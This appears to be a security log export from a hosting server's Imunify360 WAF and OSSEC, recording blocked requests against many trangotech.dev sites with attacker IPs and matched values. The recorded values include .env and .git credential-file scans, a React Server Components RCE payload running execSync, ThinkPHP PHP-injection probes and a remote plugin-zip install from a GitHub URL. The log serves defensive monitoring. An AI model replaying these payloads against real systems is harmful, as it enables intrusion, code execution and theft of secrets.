description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=x9kvcfbw&v=hqhc0||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.165
country_id: 732800
domain: floristtrader.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/dev/.env?_=ap0z13hf&v=pf84e||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.165
country_id: 732800
domain: floristtrader.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/home/.env?_=1onow2nv&v=l5nkw||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.165
country_id: 732800
domain: floristtrader.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/app/.env?_=jmdoj6t2&v=1t6h4||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.165
country_id: 732800
domain: floristtrader.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=s84rg07f&v=tnv5t&x=1||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.165
country_id: 732800
domain: floristtrader.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.git/config?_=6li0lpxh&v=ebu79||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.165
country_id: 732800
domain: floristtrader.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.git/HEAD?_=958xg6oa&v=z924b||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.165
country_id: 732800
domain: floristtrader.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=lz2iwnge&v=oil48||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 111.225.149.170
country_id: 1814991
domain: volta.trangotech.dev
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; https://zhanzhang.toutiao.com/)||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.165
country_id: 732800
domain: floristtrader.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/var/www/html/.git/config?_=897j5vhp&v=mn9uc||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.165
country_id: 732800
domain: floristtrader.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=bcmli103&v=aoe0c||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.165
country_id: 732800
domain: floristtrader.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/var/www/html/.git/config?_=mwsl9q5f&v=3mszg||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77980115
name: IM360 WAF: LetsEncrypt ACME Challenge Request
abuser: 16.170.163.6
country_id: 2661886
domain: spades.trangotech.dev
description:
IM360 WAF: LetsEncrypt ACME Challenge Request||MV:/.well-known/acme-challenge/ahs03AwTtCyy-wr8hxgZakAc0PH4EmiDRfYi4s38lhw||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 47.250.40.154
country_id: 1733045
domain: spades.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/storage/framework/.env||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 101.56.128.252
country_id: 3175395
domain: magnacrete.trangotech.dev
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET ?a=92245198159603 HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-07-12 01:42:46 -0400] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-07-12 01:42:47 -0400] info [whostmgrd] 45.198.224.5 - root "GET /scripts2/listaccts HTTP/1.1" DEFERRED LOGIN whostmgrd: security token missing


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-07-12 01:42:48 -0400] info [whostmgrd] 45.198.224.5 - root "GET /cpsess7384385291/json-api/version HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 143.58.152.227
country_id: 2635167
domain: aiyaamerica.trangotech.dev
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:01-58.143.58.152.227||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.132
country_id: 732800
domain: homepowerment.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=7uup3ll8&v=iob14||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.132
country_id: 732800
domain: homepowerment.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=97s0hy0l&v=2r8p6||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.132
country_id: 732800
domain: homepowerment.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.staging?_=xx0b5ogv&v=fxbft||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.132
country_id: 732800
domain: homepowerment.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.old?_=54se0gv6&v=q8a7q||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.132
country_id: 732800
domain: homepowerment.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=wkypq9d9&v=nkojy||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.132
country_id: 732800
domain: homepowerment.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=18b25awt&v=rrs8c||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.132
country_id: 732800
domain: homepowerment.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/api/.env?_=kr81fmzg&v=8ssh3||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.132
country_id: 732800
domain: homepowerment.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/srv/.env?_=lmqmjo1j&v=pzy85||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.132
country_id: 732800
domain: homepowerment.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/var/.env?_=f34sx2xz&v=qmr7j||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.132
country_id: 732800
domain: homepowerment.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/tmp/.env?_=xbbv99k3&v=al510||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.132
country_id: 732800
domain: homepowerment.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/\t/.env?_=5wwiioz8&v=qqudq&x=1||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.132
country_id: 732800
domain: homepowerment.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.git/config?_=tkq38zpy&v=j0v56||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.132
country_id: 732800
domain: homepowerment.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.git/config?_=ecz7y95q&v=attt8||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.132
country_id: 732800
domain: homepowerment.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.git/HEAD?_=ap6lz80e&v=5jg51||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.132
country_id: 732800
domain: homepowerment.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/srv/.env?_=s1n44f3f&v=cfzwz||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 54.153.180.104
country_id: 2077456
domain: texassports.trangotech.dev
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo $((41*271)) | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 34.122.16.212
country_id: 6252001
domain: fanly.trangotech.dev
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"status\":\"resolved_model\",\"reason\":-1,\"_response\":{\"_prefix\":\"var mwuz=[].slice.call(arguments,1)[0];var xz=mwuz;try{var _v=((0,eval)(global[[\\\"Buf\\\",\\\"fer\\\


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.251.79.205
country_id: 6252001
description:
47.251.79.205 - - [12/Jul/2026:14:12:37 -0400] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9738952&pdata=https%253A%252F%252Faiyaamerica.trangotech.dev%253A2087%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1783879955 HTTP/2.0" 302 0 aiyaamerica.trangotech.dev "https://aiyaamerica.trangotech.dev:2087/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.251.79.205


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 140.179.18.91
country_id: 1814991
domain: bibo.trangotech.dev
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (Linux; Android 10; HD1900 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/75.0.3770.156 Mobile Safari/537.36  aweme_230400 JsSdk/1.0 NetType/WIFI  AppName/aweme app_version/23.4.0 ByteLocale/zh-CN Region/CN AppSkin/white AppTheme/light BytedanceWebview/d8a21c6 WebView/075113004008||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350941
name: IM360 WAF: PHP code tags in REQUEST_URI
abuser: 192.42.116.58
country_id: 2750405
domain: hitlist.trangotech.dev
description:
IM360 WAF: PHP code tags in REQUEST_URI||MV:/index.php?s=/admin/think\\app/invokeMethod&method[0]=think\\view\\driver\\Php&method[1]=display&vars[0]=<?php echo md5('a3233a3800f8cba9dd419d1997d27412');||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350941
name: IM360 WAF: PHP code tags in REQUEST_URI
abuser: 91.132.144.59
country_id: 2921044
domain: hitlist.trangotech.dev
description:
IM360 WAF: PHP code tags in REQUEST_URI||MV:/index.php?s=/index/think\\app/invokeMethod&method[0]=think\\view\\driver\\Php&method[1]=display&vars[0]=<?php echo md5('a3233a3800f8cba9dd419d1997d27412');||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350941
name: IM360 WAF: PHP code tags in REQUEST_URI
abuser: 192.42.116.44
country_id: 2750405
domain: hitlist.trangotech.dev
description:
IM360 WAF: PHP code tags in REQUEST_URI||MV:/index.php?s=/api/think\\app/invokeMethod&method[0]=think\\view\\driver\\Php&method[1]=display&vars[0]=<?php echo md5('a3233a3800f8cba9dd419d1997d27412');||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350941
name: IM360 WAF: PHP code tags in REQUEST_URI
abuser: 95.155.151.200
country_id: 2750405
domain: hitlist.trangotech.dev
description:
IM360 WAF: PHP code tags in REQUEST_URI||MV:/index.php?s=/user/think\\app/invokeMethod&method[0]=think\\view\\driver\\Php&method[1]=display&vars[0]=<?php echo md5('a3233a3800f8cba9dd419d1997d27412');||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350941
name: IM360 WAF: PHP code tags in REQUEST_URI
abuser: 185.100.85.25
country_id: 798549
domain: hitlist.trangotech.dev
description:
IM360 WAF: PHP code tags in REQUEST_URI||MV:/index.php?s=//think\\app/invokeMethod&method[0]=think\\view\\driver\\Php&method[1]=display&vars[0]=<?php echo md5('a3233a3800f8cba9dd419d1997d27412');||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350941
name: IM360 WAF: PHP code tags in REQUEST_URI
abuser: 192.42.116.57
country_id: 2750405
domain: hitlist.trangotech.dev
description:
IM360 WAF: PHP code tags in REQUEST_URI||MV:/index.php?s=/home/think\\app/invokeMethod&method[0]=think\\view\\driver\\Php&method[1]=display&vars[0]=<?php echo md5('a3233a3800f8cba9dd419d1997d27412');||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.164
country_id: 732800
domain: conciergo.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=44tkauvi&v=5wxb8||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 100.23.214.29
country_id: 6252001
domain: midwest.trangotech.dev
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/150.0.0.0 Safari/537.36||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.164
country_id: 732800
domain: conciergo.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/var/www/html/.env?_=83w6697u&v=oke2e||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.164
country_id: 732800
domain: conciergo.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/app/.env?_=kyqmvslw&v=v9gp4||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.164
country_id: 732800
domain: conciergo.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=lloh5k8r&v=65ng0||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.164
country_id: 732800
domain: conciergo.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/home/.env?_=xtwt1gb6&v=80aso||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.164
country_id: 732800
domain: conciergo.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.git/config?_=9im2zkth&v=ohopn||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.164
country_id: 732800
domain: conciergo.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=5sgosnej&v=4bmx6||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 80.94.95.211
country_id: 798549
domain: 38.95.35.74:443
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/app_dev.php/_profiler/.env||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 34.156.119.78
country_id: 2802361
domain: eximpowp.epcwms.com
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:8.28||T:APACHE||REQUEST_URI:/blog/wp-includes/wlwmanifest.xml||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 143.244.47.86
country_id: 6252001
domain: motorworkblog.trangotech.dev
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/148.0.7778.96 Safari/537.36||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77157694
name: IM360 WAF: Burst Statistics MainWP header observation (CVE-2026-8181)
abuser: 2.57.122.202
country_id: 798549
domain: fendahl.trangotech.dev
description:
IM360 WAF: Burst Statistics MainWP header observation (CVE-2026-8181)||MV:Basic YWRtaW46YWRtaW4=||URI:/?rest_route=/fluentsmtp/v1/settings||M:GET||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77963523
name: IM360 WAF: Track WP REST API Basic Auth (App-Password channel)
abuser: 2.57.122.202
country_id: 798549
domain: fendahl.trangotech.dev
description:
IM360 WAF: Track WP REST API Basic Auth (App-Password channel)||UA:Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36||MV:/wp-json/fluentsmtp/v1/settings||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350306
name: IM360 WAF: Access to suspicious double extension endpoint
abuser: 5.175.167.71
country_id: 1269750
domain: express.trangotech.dev
description:
IM360 WAF: Access to suspicious double extension endpoint||MV:/wp-content/themes/twentytwentytwo/inc/patterns/general.pricing.grid.php||WPU:||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 185.177.72.12
country_id: 3017382
domain: texassports.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/wp-content/uploads/2024/.env||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 98.88.221.220
country_id: 6252001
domain: fendahl.trangotech.dev
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/143.0.7499.4 Safari/537.36||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 64.139.44.117
country_id: 1861060
domain: fendahl.trangotech.dev
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (Linux; Android 11; SM-N981U Build/RP1A.200720.012; ) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/128.0.6613.127 Mobile Safari/537.36 trill_410601 JsSdk/1.0 NetType/WIFI Channel/googleplay AppName/trill app_version/41.6.1 ByteLocale/ja ByteFullLocale/ja Region/JP AppId/1180 Spark/1.7.2 AppVersion/41.6.1 PIA/2.5.3 BytedanceWebview/d8a21c6||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.42
country_id: 2750405
domain: 38.95.35.74
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=d1hpnp6b&v=ct5my||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.42
country_id: 2750405
domain: 38.95.35.74
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.production?_=u6yadogf&v=e4ls4||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.42
country_id: 2750405
domain: 38.95.35.74
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=wogcibgl&v=8ghrp||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.42
country_id: 2750405
domain: 38.95.35.74
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=o6gibezu&v=dzglq||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.42
country_id: 2750405
domain: 38.95.35.74
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/dev/.env?_=bjtaofbp&v=olzxc||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 45.148.10.42
country_id: 2750405
domain: 38.95.35.74
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=2qoahlib&v=im2md&x=1||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350212
name: IM360 WAF: Information Disclosure Attempt in WordPress
abuser: 104.28.219.195
country_id: 6252001
domain: pickntip.trangotech.dev
description:
IM360 WAF: Information Disclosure Attempt in WordPress||MV:/wp-config.php.old||RSV:8.28||T:APACHE||REQUEST_URI:/wp-config.php.old||


plugin: modsec
rule: 77142201
name: IM360 WAF: Possible enumeration of sensitive data (dirb)
abuser: 104.28.219.195
country_id: 6252001
domain: pickntip.trangotech.dev
description:
IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||RSV:8.28||T:APACHE||MV:wp-config.php~||


plugin: modsec
rule: 77350492
name: IM360 WAF: Suspicious access attempt to WordPress debug.log (CVE-2024-44000)
abuser: 104.28.219.195
country_id: 6252001
domain: pickntip.trangotech.dev
description:
IM360 WAF: Suspicious access attempt to WordPress debug.log (CVE-2024-44000)||MV:/wp-content/debug.log||WPU:||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 104.28.219.195
country_id: 6252001
domain: pickntip.trangotech.dev
description:
IM360 WAF: Bad file extension||RSV:8.28||T:APACHE||MVN:REQUEST_FILENAME||MV:/wp-config.php.old||User:pickntiptrangote||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.105
country_id: 732800
domain: homepowerment.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=gmz5px4i&v=rqb4q||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.105
country_id: 732800
domain: homepowerment.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env.production?_=8d4rzbmw&v=zahqr||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.105
country_id: 732800
domain: homepowerment.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=a86wu5fz&v=2fe5j||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.105
country_id: 732800
domain: homepowerment.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=4zhnr9gn&v=817e1||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.105
country_id: 732800
domain: homepowerment.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/home/.env?_=h3m9euh0&v=w375e||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 195.178.110.105
country_id: 732800
domain: homepowerment.trangotech.dev
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.git/config?_=5mqwi61s&v=2rwqi||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 43.164.197.59
country_id: 3469034
domain: javajet.trangotech.dev
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:plugin||MV:https://raw.githubusercontent.com/pg2523461-wq/wp/refs/heads/main/vvv.zip||User:javajettrangotec||SC:/home/javajettrangotec/public_html/wp-json||WPU:||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 43.164.193.19
country_id: 3469034
domain: floristtrader.trangotech.dev
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:plugin||MV:https://raw.githubusercontent.com/pg2523461-wq/wp/refs/heads/main/vvv.zip||User:floristtradertra||SC:/home/floristtradertra/public_html/wp-json||WPU:||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 43.165.70.156
country_id: 6252001
domain: popappweb.trangotech.dev
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:plugin||MV:https://raw.githubusercontent.com/pg2523461-wq/wp/refs/heads/main/vvv.zip||User:popapptrangotech||SC:/home/popapptrangotech/public_html/wp-json||WPU:||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350212
name: IM360 WAF: Information Disclosure Attempt in WordPress
abuser: 104.28.219.190
country_id: 6252001
domain: homepowerment.trangotech.dev
description:
IM360 WAF: Information Disclosure Attempt in WordPress||MV:/wp-config.php.bak||RSV:8.28||T:APACHE||REQUEST_URI:/wp-config.php.bak||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 104.28.219.190
country_id: 6252001
domain: homepowerment.trangotech.dev
description:
IM360 WAF: Bad file extension||RSV:8.28||T:APACHE||MVN:REQUEST_FILENAME||MV:/wp-config.php.bak||User:homepowermenttra||


plugin: modsec
rule: 77142201
name: IM360 WAF: Possible enumeration of sensitive data (dirb)
abuser: 104.28.219.190
country_id: 6252001
domain: homepowerment.trangotech.dev
description:
IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||RSV:8.28||T:APACHE||MV:.wp-config.php.swp||


plugin: modsec
rule: 77093094
abuser: 136.113.9.105
country_id: 6252001
domain: stephencohenlaw.trangotech.dev
description:


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 43.165.5.110
country_id: 2921044
domain: busyloop.trangotech.dev
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:plugin||MV:https://raw.githubusercontent.com/pg2523461-wq/wp/refs/heads/main/vvv.zip||User:busylooptrangote||SC:/home/busylooptrangote/public_html/wp-json||WPU:||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 43.165.127.126
country_id: 6252001
domain: waterbery.trangotech.dev
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:plugin||MV:https://raw.githubusercontent.com/pg2523461-wq/wp/refs/heads/main/vvv.zip||User:waterberytrangot||SC:/home/waterberytrangot/public_html/wp-json||WPU:||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77316831
name: IM360 WAF: Suspicious WordPress plugin installation attempt
abuser: 104.28.219.139
country_id: 2750405
domain: magnacrete.trangotech.dev
description:
IM360 WAF: Suspicious WordPress plugin installation attempt||File:dummy-plugin.zip||WPU:admin||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 104.28.219.139
country_id: 2750405
domain: magnacrete.trangotech.dev
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.28||T:APACHE||MV:/wp-json/wp/v2/users/me||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 44.227.127.2
country_id: 6252001
domain: fendahl.trangotech.dev
description:
